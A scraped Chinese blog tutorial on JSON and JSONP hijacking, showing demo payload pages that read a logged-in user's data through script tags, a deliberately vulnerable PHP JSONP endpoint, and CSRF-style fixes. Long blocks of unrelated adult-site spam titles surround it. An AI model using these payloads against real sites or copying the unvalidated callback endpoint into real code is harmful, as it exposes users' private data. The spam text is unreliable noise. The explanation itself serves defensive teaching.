亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > JavaScript > 正文

詳解JSON和JSONP劫持以及解決方法

2019-11-19 12:01:03
字體:
來源:轉載
供稿:網友

json劫持

json劫持攻擊又為”JSON Hijacking”,攻擊過程有點類似于csrf,只不過csrf只管發送http請求,但是json-hijack的目的是獲取敏感數據。

一些web應用會把一些敏感數據以json的形式返回到前端,如果僅僅通過cookie來判斷請求是否合法,那么就可以利用類似csrf的手段,向目標服務器發送請求,以獲得敏感數據。

比如下面的鏈接在已登錄的情況下會返回json格式的用戶信息:

http://www.test.com/userinfo

攻擊者可以在自己的虛假頁面中,加入如下標簽:

<script src="http://www.test.com/userinfo"></script>

如果當前瀏覽器已經登錄了www.test.com,并且cookie未過期,然后訪問了攻擊者的虛假頁面,那么該頁面就可以拿到json形式的用戶敏感信息,因為script標簽會自動解析json數據,生成對應的js對象。然后再通過

Object.prototype.__defineSetter__

這個函數來觸發自己的惡意代碼。

但是這個函數在當前的新版本chrome和firefox中都已經失效了。

jsonp劫持

jsonp是一個非官方的協議,利用script元素的開放策略,網頁可以得到從其他來源動態產生的json數據,因此可以用來實現跨域。(關于JSONP可以參考我的博文:http://www.49028c.com/article/31167.htm

web程序如果通過這種方式跨域之后,攻擊者完全可以在自己的虛假頁面中發起惡意的jsonp請求,這就引來了安全問題。比如:

<script>function useUserInfo(v){  alert(v.username);}</script><script src="http://www.test.com/userinfo?callback=useUserInfo"></script>

如果服務器端的userinfo接口支持jsonp,那就會使虛假頁面成功執行useUserInfo函數,從而導致安全問題。

解決方法

其實json劫持和jsonp劫持屬于CSRF( Cross-site request forgery 跨站請求偽造)的攻擊范疇,所以解決的方法和解決csrf的方法一樣。

1、驗證 HTTP Referer 頭信息;
2、在請求中添加 csrfToken 并在后端進行驗證;

關于CSRF攻擊可以參考我的博文:http://www.49028c.com/article/157550.htm 

PS:JSONP劫持漏洞實例

getUser.php

<?phpheader('Content-type: application/json');$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//獲取回調函數名//json數據//$json_data = '["id","user"]';$json_data='({"id":"1","name":"Aaron"})';echo $jsoncallback . "(" . $json_data . ")";//輸出jsonp格式的數據?>

Payload利用:

客戶端實現 callbackFunction 函數

<!DOCTYPE html><html><head><meta charset="utf-8"><title>JSONP劫持測試</title></head><body><script type="text/javascript">function callbackFunction(result)    {      alert(result.name);    }</script><script type="text/javascript" src="http://127.0.0.1/test/getUser.php?jsoncallback=callbackFunction"></script></body></html>

jQuery 使用 JSONP

<!DOCTYPE html><html><head>  <meta charset="utf-8">  <title>JSONP劫持測試</title>  <script src="http://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script>  </head><body><div id="divCustomers"></div><script type="text/javascript">    $.getJSON("http://127.0.0.1/test/getUser.php?jsoncallback=?", function(getUsers){     alert(getUsers.name);  });</script></body></html>

以上就是本文的全部內容,希望對大家的學習有所幫助,也希望大家多多支持武林網。權聲明:本文為博主原創文章,轉載請附上博文鏈接!

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
国产高清在线不卡| 欧美精品久久久久久久免费观看| 国产视频在线一区二区| 成人春色激情网| 久久久女人电视剧免费播放下载| 国产精品mp4| 亚洲欧美日韩直播| 福利视频第一区| 国内精品久久久久久久| 国产69精品久久久久久| 国产精品扒开腿做爽爽爽男男| 亚洲午夜未删减在线观看| 日韩在线免费av| 欧美成人免费小视频| 欧美成在线观看| 亚洲综合日韩在线| 欧美中文字幕在线观看| 伊人久久免费视频| 色偷偷亚洲男人天堂| 亚洲欧美国产精品专区久久| 国产人妖伪娘一区91| 亚洲aⅴ男人的天堂在线观看| 日本中文字幕不卡免费| 日本精品视频网站| 日韩美女主播视频| 欧美日韩国产区| 亚洲综合社区网| 欧美区在线播放| 亚洲精品成a人在线观看| 国产日韩精品在线播放| 日韩在线欧美在线国产在线| 亚洲精品视频免费在线观看| 98精品国产自产在线观看| 97精品一区二区三区| 欧美激情aaaa| 国产精品成人在线| 亚洲人成在线观看| 国产精品美女www爽爽爽视频| 亚洲综合色av| 亚洲精品视频网上网址在线观看| 色诱女教师一区二区三区| 久久夜色精品亚洲噜噜国产mv| 91免费版网站入口| 中文字幕日韩精品有码视频| 亚洲视频在线观看网站| 欧美成人免费全部观看天天性色| 欧美电影在线观看网站| 国产精品第三页| 日韩精品视频在线观看免费| 福利二区91精品bt7086| 亚洲一区美女视频在线观看免费| 久久精品国产清自在天天线| 国产精品视频一区国模私拍| 国产精品久久久久久久app| 亚洲free性xxxx护士白浆| 亚洲精品v欧美精品v日韩精品| 国产+人+亚洲| 亚洲综合精品伊人久久| 色天天综合狠狠色| 午夜精品久久久99热福利| 国产极品jizzhd欧美| 国产女同一区二区| 日韩福利视频在线观看| 欧美激情视频网| 国产精品日韩欧美大师| 一夜七次郎国产精品亚洲| 亚洲欧洲一区二区三区在线观看| 久久久在线免费观看| 中文字幕亚洲自拍| 久久久久久久久网站| 日韩国产精品视频| 欧美性视频精品| 欧美巨大黑人极品精男| 色妞欧美日韩在线| 日韩欧美精品网址| 国产精品免费一区| 欧美日韩精品二区| 色综合视频一区中文字幕| 亚洲天堂免费在线| 美女视频久久黄| 日韩精品极品在线观看播放免费视频| 日韩中文在线不卡| 最新亚洲国产精品| 久久精品国产免费观看| 中文字幕精品在线视频| 91丝袜美腿美女视频网站| 中文字幕亚洲一区| 国模精品系列视频| 亚洲国产天堂久久国产91| 国产精品日韩欧美大师| 亚洲成人av片| 色99之美女主播在线视频| 久久亚洲一区二区三区四区五区高| 亚洲国产精品久久| 国产成人精品av在线| 91精品美女在线| 精品亚洲男同gayvideo网站| 曰本色欧美视频在线| 欧美国产欧美亚洲国产日韩mv天天看完整| 亚洲精品福利在线观看| 97精品视频在线| 久久综合国产精品台湾中文娱乐网| 亚洲天堂男人天堂女人天堂| 日韩精品亚洲精品| 国产精品久久久av久久久| 日韩在线免费高清视频| 日韩在线中文字幕| 最新国产精品拍自在线播放| 国产精品视频区| 成人黄色片在线| 国内精品久久久久影院优| 国产成人精品久久亚洲高清不卡| 成人h片在线播放免费网站| 欧美成人国产va精品日本一级| 亚洲美女又黄又爽在线观看| 国产视频一区在线| 一本色道久久88综合亚洲精品ⅰ| 国产精品中文字幕在线观看| 久久久久久网站| 亚洲国产成人精品久久| 色诱女教师一区二区三区| 亚洲自拍偷拍视频| 久久影视电视剧免费网站| 国模极品一区二区三区| 久久不射热爱视频精品| 久久久免费高清电视剧观看| 成人网在线免费观看| 亚洲国产日韩欧美在线99| 亚洲男人av电影| 国产精品h片在线播放| 成人在线精品视频| 亚洲成av人影院在线观看| 亚洲精品日韩激情在线电影| 97精品国产91久久久久久| 欧美最近摘花xxxx摘花| 2019亚洲日韩新视频| 久久精品色欧美aⅴ一区二区| 性色av一区二区三区红粉影视| 亚洲最大福利视频网| 日韩成人在线视频网站| 欧美成人中文字幕| 欧美福利视频在线| 亚洲国产日韩精品在线| 成人性教育视频在线观看| 91精品久久久久久久久久久久久| 97香蕉久久夜色精品国产| 国内精品视频久久| 久久国产精品久久久久| 欧美激情亚洲综合一区| 国产不卡精品视男人的天堂| 欧美成人精品影院| 中文字幕日韩欧美精品在线观看| 亚洲精品中文字幕女同| 色噜噜狠狠狠综合曰曰曰88av| 亚洲国产精品va| 国产精品久久久久久久久久久久久| 午夜精品久久久久久久99热| 国产视频精品在线| 奇米成人av国产一区二区三区| 国产日韩欧美视频| 日韩电影网在线| 91av在线免费观看视频| 国产成人久久精品| 亚洲免费伊人电影在线观看av|